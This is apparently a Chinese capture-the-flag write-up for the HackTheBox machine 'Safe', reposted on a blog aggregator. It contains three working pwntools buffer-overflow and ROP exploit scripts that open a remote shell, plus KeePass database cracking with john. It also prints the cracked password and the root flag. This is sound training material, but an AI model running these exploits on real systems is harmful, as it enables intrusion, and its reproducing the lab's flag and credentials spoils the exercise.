[Meachines] [Easy] Safe BOF+ROP链+.data节区注入BOF+函数跳转BOF+KeePass密码管理器密码破译

news2024/9/19 10:45:42

信息收集

IP AddressOpening Ports
10.10.10.147TCP:22,80,1337

$ nmap -p- 10.10.10.147 --min-rate 1000 -sC -sV

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey: 
|   2048 6d:7c:81:3d:6a:3d:f9:5f:2e:1f:6a:97:e5:00:ba:de (RSA)
|   256 99:7e:1e:22:76:72:da:3c:c9:61:7d:74:d7:80:33:d2 (ECDSA)
|_  256 6a:6b:c3:8e:4b:28:f7:60:85:b1:62:ff:54:bc:d8:d6 (ED25519)
80/tcp   open  http    Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Apache2 Debian Default Page: It works
1337/tcp open  waste?

myapp reverse && BOF

image.png

image-1.png

获取消息并且打印

$ chmod +x myapp

$ gdb -q myapp

gdb-peda$ checksec

image-2.png

CANARY: disabled — 栈保护机制被禁用,可以利用缓冲区溢出来覆盖返回地址。
FORTIFY: disabled — 代码没有使用 FORTIFY_SOURCE 进行编译,没有额外的编译时检查。
NX: ENABLED — 禁用了对堆栈执行的权限(不可执行位启用),所以不能在堆栈上直接执行 shellcode。
PIE: disabled — 可执行文件没有启用地址无关代码执行(Position Independent Executable),意味着代码段的地址是固定的。
RELRO: Partial — 部分的 RELRO 保护(即GOT表是可写的,但是GOT起始位置是不可写的)。

gdb-peda$ b main

gdb-peda$ set follow-fork-mode parent

让 GDB 在程序执行 fork() 系统调用时继续跟踪父进程,而不去跟踪子进程。

确认偏移量

gdb-peda$ pattern_create 200

AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA

gdb-peda$ r

image-4.png

通过栈顶来判断偏移量

gdb-peda$ pattern_offset jAA9AAOA

image-5.png

偏移量120

gdb-peda$ python print("A" * 120 + "B" * 4)

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

RIP已被修改

image-6.png

方法 1:ROP --> 泄露 libc 函数地址,计算到 libc 中 /bin/sh 字符串的偏移量,然后调用 system(“/bin/sh”)

1.payload = junk + pop_rdi + got_plt + plt_system + main

在 ELF(二进制执行和链接格式)文件中,PLT(Procedure Linkage Table)和 GOT(Global Offset Table)是用于动态链接和函数调用的重要结构。它们在程序的运行时加载和执行过程中扮演了关键角色。

PLT 是一个用于支持动态链接的表格,主要用于函数调用。当一个程序调用一个动态链接库中的函数时,实际的函数地址可能在程序加载时并未确定。PLT 解决了这个问题,通过以下方式工作:

  1. 初次调用:当程序第一次调用一个动态链接函数时,PLT 中相应的条目将跳转到一个特殊的“连接器”函数(如 ld-linux.so),该函数负责解析函数的实际地址。

  2. 解析地址:连接器函数将查找函数的真实地址,并将其更新到 GOT 中的相应位置。

  3. 后续调用:后续对该函数的调用将直接跳转到更新后的 GOT 地址,从而提高调用效率。

GOT 是一个表格,用于存储动态链接的函数和变量的地址。GOT 由编译器在编译时生成,并在程序运行时动态更新。它的作用包括:

  1. 存储地址:GOT 存储了动态链接库中的函数和全局变量的地址。在程序的执行过程中,GOT 记录了这些地址。

  2. 动态修正:在程序启动时,动态链接器会修正 GOT 中的条目,将它们指向实际的函数或变量地址。

gdb-peda$ disassemble main

image-7.png

system 的 PLT 地址(0x401040)

image-8.png

$ ropper -f myapp | grep rdi

筛选和定位 ROP gadgets(即可用于构造 ROP 链的代码片段)中涉及 rdi 寄存器的那些。这些 gadgets 可能会使用或修改 rdi 寄存器的值,因此在构造 ROP 链时,它们可能非常有用。

image-9.png

通过将 rdi 寄存器设置为 GOT 表中 puts 函数的地址,并调用 system 函数

获取puts函数地址

#!/usr/bin/env python

from pwn import *

context(os="linux", arch="amd64")
#context(log_level='DEBUG')

junk = "A"*120

got_puts = p64(0x404018)
plt_system = p64(0x401040)
pop_rdi  = p64(0x40120b)
main     = p64(0x40115f)
payload = junk + pop_rdi + got_puts + plt_system + main

p = remote("10.10.10.147", 1337)
p.recvline()
p.sendline(payload)
leaked_puts = u64(p.recvline().strip()[7:-11].ljust(8,"\x00"))
log.info("Leaked puts address: %x" % leaked_puts)

$ python2 pwnapp.py

image-10.png

为什么这种方法有效

  1. 缓冲区溢出:利用缓冲区溢出将执行流重定向到我们控制的代码或地址。在这个例子中,通过覆盖返回地址来使程序执行我们的 payload。

  2. 控制返回地址:通过填充数据和精心构造的 payload,我们可以将返回地址控制到 pop_rdi Gadget,这样我们可以设置 rdi 寄存器的值。

  3. 利用 GOT 表:通过修改 GOT 表中的 puts 地址,调用 puts 函数时将会跳转到我们控制的地址(如 system 函数的地址)。

  4. ROP 链:使用 pop_rdi Gadget 将 GOT 表地址设置为 puts,然后调用 system 函数,最终返回到 main 函数。

通过这些步骤,你可以利用缓冲区溢出漏洞泄露目标程序中敏感信息(如函数地址)。

这些地址每次可能会不同,但底部的 12 位(或者 1.5 字节、3 个四位组或 3 个十六进制字符),在这种情况下是 f90,将保持不变。

#!/usr/bin/env python

from pwn import *

context(os="linux", arch="amd64")
#context(log_level='DEBUG')

junk = "A"*120

got_puts = p64(0x404018)
plt_system = p64(0x401040)
pop_rdi  = p64(0x40120b)
main     = p64(0x40115f)
payload = junk + pop_rdi + got_puts + plt_system + main

p = remote("10.10.10.147", 1337)
p.recvline()
p.sendline(payload)
leaked_puts = u64(p.recvline().strip()[7:-11].ljust(8,"\x00"))

log.info("Leaked puts address: %x" % leaked_puts)
libc_base = leaked_puts - 0x68f90
log.info("libc_base: %x" % libc_base)

sh = p64(0x161c19 + libc_base)

payload = junk + pop_rdi + sh + plt_system
p.recvline()
p.sendline(payload)
p.interactive()

$ python2 pwnapp.py

image-11.png

方法2:将字符串/bin/sh写入.data,然后调用system()。

查询.data节区,并且确认.data节区读写权限

$ readelf -S myapp

image-12.png

WA为可读可写,地址0000000000404038

#!/usr/bin/env python

from pwn import *

context(os="linux", arch="amd64")
#context(log_level='DEBUG')

junk = "A"*120

plt_gets = p64(0x401060)
plt_system = p64(0x401040)
pop_rdi = p64(0x40120b)
binsh = p64(0x404038)

payload = junk + pop_rdi + binsh + plt_gets + pop_rdi + binsh + plt_system

p = remote("10.10.10.147", 1337)
p.recvline()
p.sendline(payload)
p.sendline('/bin/sh\x00')
p.interactive()

$ python2 pwnapp.py

image-13.png

方法 3:利用从未调用过的 test() 函数来跳转到 system()

gdb-peda$ disassemble test

image-14.png

将 system 的地址放入 R13 寄存器,并将 /bin/sh 放到栈顶,那么调用 test() 函数将会得到一个 shell。使用 ropper 工具来查找一个可以将 R13 赋值的 gadget。

$ ropper -f myapp | grep r13

image-15.png

第二个 Gadget: pop r13; pop r14; pop r15; ret;

  • Gadget 解释:这个 gadget 的指令是 pop r13; pop r14; pop r15; ret;。这意味着它会从栈中依次弹出三个值并将它们分别放入 R13R14R15 寄存器中,然后执行 ret 指令返回到调用点。

  • 为什么可以用

    • 直接操作 R13:该 gadget 中的第一条指令 pop r13 会将栈顶的值弹出到 R13 寄存器。这使得你可以将 system 的地址直接放入 R13
    • 多个寄存器:虽然它还会将值放入 R14R15,这些寄存器可以用来存储其他有用的数据或保持不变的值,不会影响你的攻击目标。
#!/usr/bin/env python

from pwn import *

context(os="linux", arch="amd64")

binsh = "/bin/sh\x00"
junk = "A"*(120 - len(binsh))
plt_system = p64(0x401040)
test = p64(0x401152)
pop_r13_r14_r15 = p64(0x401206)

payload = junk + binsh + pop_r13_r14_r15 + plt_system + p64(0) + p64(0) + test

p = remote("10.10.10.147", 1337)
p.recvline()
p.sendline(payload)
p.interactive()

$ python2 pwnapp.py

image-16.png

Privilege Escalation

写入公钥连接服务器

$ ssh -i ~/.ssh/id_ed25519 user@10.10.10.147

image-17.png

image-18.png

$ scp -i ~/.ssh/id_ed25519 user@10.10.10.147:~/IMG* .

$ scp -i ~/.ssh/id_ed25519 user@10.10.10.147:~/*.kdbx .

KeePass 密码管理器使用的数据库文件格式的扩展名。KeePass 是一个流行的开源密码管理工具,它帮助用户安全地存储和管理密码、密钥和其他敏感信息。.kdbx 文件是 KeePass 生成和使用的加密数据库文件。

$ keepass2john MyPasswords.kdbx > MyPasswords.kdbx.hash; for img in $(ls IMG*); do keepass2john -k $img MyPasswords.kdbx; done >> MyPasswords.kdbx.hash

-k $img 表示使用 $img(当前遍历的文件)作为密钥文件。通常这意味着你可能会用到密钥文件来解密 KeePass 数据库。

$ john MyPasswords.kdbx.hash /usr/share/seclists/Passwords/Leaked-Databases/rockyou-30.txt

image-19.png

password:bullshit

$ kpcli --key IMG_0547.JPG --kdb MyPasswords.kdbx

kpcli:/> ls

kpcli:/> cd MyPasswords/

kpcli:/MyPasswords> ls

kpcli:/MyPasswords> show 0 -f

image-20.png

password:u3v2249dl9ptv465cogl3cnpo3fyhk

image-21.png

Root.txt

bb186118ac36184650d8d6c7d4617bb3

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2093026.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

基于django的在线音乐网站设计/基于python的音乐播放系统

Django在线音乐网站设计 摘要:计算机网络如果结合使用信息管理系统,能够提高管理员管理的效率,改善服务质量。优秀的在线音乐网站设计能够更有效管理音乐资讯规范,帮助管理者更加有效管理音乐网站,可以帮助提高克服人工…

【深度剖析】《黑神话:悟空》员工薪资大曝光,你慕了吗?

《黑神话:悟空》引爆市场,员工薪资却成热议焦点! 自8月20日解锁以来,《黑神话:悟空》以其国产3A游戏的高品质迅速占领市场,引发全球玩家的热烈讨论。深圳市游科互动科技有限公司开发的这款游戏&#xff0c…

C++20 是 C++ 语言的一次重大更新

C20 是 C 语言的一次重大更新,它引入了许多新特性,旨在提高开发者的生产力和代码的现代化。以下是 C20 的一些关键特性的总结: 模块(Modules):C20 引入了模块,这是一种新的编译单元,…

CSS解析:定位和层叠上下文

许多开发人员对定位的理解很粗略,如果不完全了解定位,就很容易给自己挖坑。有时候可能会把错误的元素放在其他元素前面,要解决这个问题却没有那么简单。 一般的布局方法是用各种操作来控制文档流的行为。定位则不同:它将元素彻底…

mysql 不同版本安装不同端口

安装版本为Mysql8.0.11 先解压,解压后,包下创建my.ini文件内容如下: 注意:端口不能给别的mysql一样 [mysqld]# 设置3306端口port3307 # 自定义设置mysql的安装目录,即解压mysql压缩包的目录basedirD:\\rj\\mysql8.0.…

如何将 HEIC 转换为 JPG/PNG

“我刚刚将 iPhone 15 升级到 iOS 18,但新 iPhone 的照片现在变为 HEIC。什么是 HEIC 格式?我可以在 Windows 上使用 HEIC 照片吗?有人知道 HEIC 的技巧吗?谢谢!” 当你换了一部新的iPhone时,你会发现你的图…

TCP协议 配合 Wireshark 分析数据

在TCP连接中,无论是客户端还是服务端,都有可能成为发送端或接收端,这是因为TCP是一个全双工协议,允许数据在同一连接中双向流动 客户端(Client):通常是指主动发起连接请求的一方。例如&#xf…

商家推广怎么利用C#发送视频短信

视频短信,这一融合了视频、音频与文本的创新通信方式,不仅革新了传统短信的单一形式,更以其独特的魅力带领着移动通信的新风尚。它以移动视频格式为载体,实现了信息传输的多元化,为用户带来不一样的通信体验。 支持免费…

windows安全中心永久卸载工具分享

使用方法 博客:h0ck1r丶羽~从零到一 卸载工具下载链接: 夸克网盘分享 一路回车,选项Y即可 耐心等待几秒种,自动重启 此时打开windows安全中心,已经完全不能使用了,响应的杀毒功能也关了 往期推荐 【渗透测…

简易STL实现 | Deque的实现

一种 在内存中存储元素的数据结构,它支持 在两端添加和删除元素(使用循环数组实现) 1、deque的特性(分段deque实现) 1、双端操作: deque支持在前端和后端执行快速的插入和删除操作 2、随机访问&#xff…

Colorfy v3.26 — 修改版,超过2000种图片涂色

Colorfy 是一款适用于安卓设备的涂色书应用,提供了超过 2000 种不同的图片供用户涂色,包括动物、花卉、城市风景等。每日更新新图,支持各种颜色和绘画工具,如水彩笔、铅笔、细线笔等。用户可以放大绘画区域进行精细绘画。此版本由…

Transformer-LSTM神经网络多输入单输出回归预测的MATLAB实现

在现代机器学习和深度学习领域,处理多维时序数据的需求越来越多。在这些应用场景中,我们常常面临需要同时处理多个输入变量,并预测一个输出变量的任务。这类问题通常被称为多输入单输出回归问题。为了有效地应对这类问题,结合 Tra…

在浮躁的时代,保持冷静和沉稳,心怀勇气

在大家阅读之前,我真诚地祝愿大家在浮躁的世界中找到属于自己的宁静与力量,让每一天都充满希望和快乐。 在这个快节奏、信息爆炸的时代,我们每个人都像是被卷入了一个永不停歇的漩涡,不断地被各种声音和画面拉扯着。有时候&#x…

一篇搞懂classpath,resources

Classpath(类路径)在Java开发中是一个非常重要的概念,它指定了Java虚拟机(JVM)和Java编译器寻找类文件和包的位置。具体来说,Classpath告诉Java执行环境在哪些目录下可以找到所要执行的Java程序所需要的类或…

如何打造基于Java SpringBoot和Vue的医院门诊智能预约平台?四步实现高效就医流程,整合MySQL数据库,优化用户体验。

🍊作者:计算机毕设匠心工作室 🍊简介:毕业后就一直专业从事计算机软件程序开发,至今也有8年工作经验。擅长Java、Python、微信小程序、安卓、大数据、PHP、.NET|C#、Golang等。 擅长:按照需求定制化开发项目…

【#第三期实战营闯关作业##LMDeploy 量化部署进阶实践 】

今天学习了《LMDeploy 量化部署进阶实践》一课,,收获很大。以下是记录复现过程及截图: 创建一个名为lmdeploy的conda环境 创建成功后激活环境并安装0.5.3版本的lmdeploy及相关包。 相关包install成功 创建好的conda环境并启动InternLM2_5-7…

Java 入门指南:Java 并发编程 —— 线程安全问题与锁机制

线程安全的概念 线程安全可以简单理解为在多线程环境下,一个方法或实例在并发执行时能够保持数据的一致性和完整性,不会因为多个线程的交替执行而导致错误的结果。 线程不安全的原因 线程不安全通常由以下几个原因引起: 原子性问题&#x…

让自家的智能语音助手实现todo任务的添加

我家的树莓派在成为了“智能语音助手”后,经过rasa学习训练,已经可以帮忙查日期/时间,查天气预报,进行一些简单的闲聊。但是,我希望它的功能还可以再强大些,比如说,可以帮我记录todo任务。为了实…

ProtoBuf 详解

1、初识ProtoBuf 序列化的概念: 举个例子: 我们在打电话的过程中,两个人可以通过电话听到对方的声音,这个过程就涉及到了序列化和反序列化。 相同的例子还有:网络通信、数据持久化等 常见的实现方式:JS…

upload-labs靶场通关攻略

一。 1.将一个php文件重命名为jpg文件 2.将这个jpg文件上传然后抓包吧jpg改成php接着放行 3.鼠标右键图片在新建标签页打开图片后去蚁剑连接 二 1.上传jpg文件然后抓包把jpg改成php放行 2.图片右键新建标签页打开图片,复制图片地址去蚁剑连接 三 1.文件重命名为1…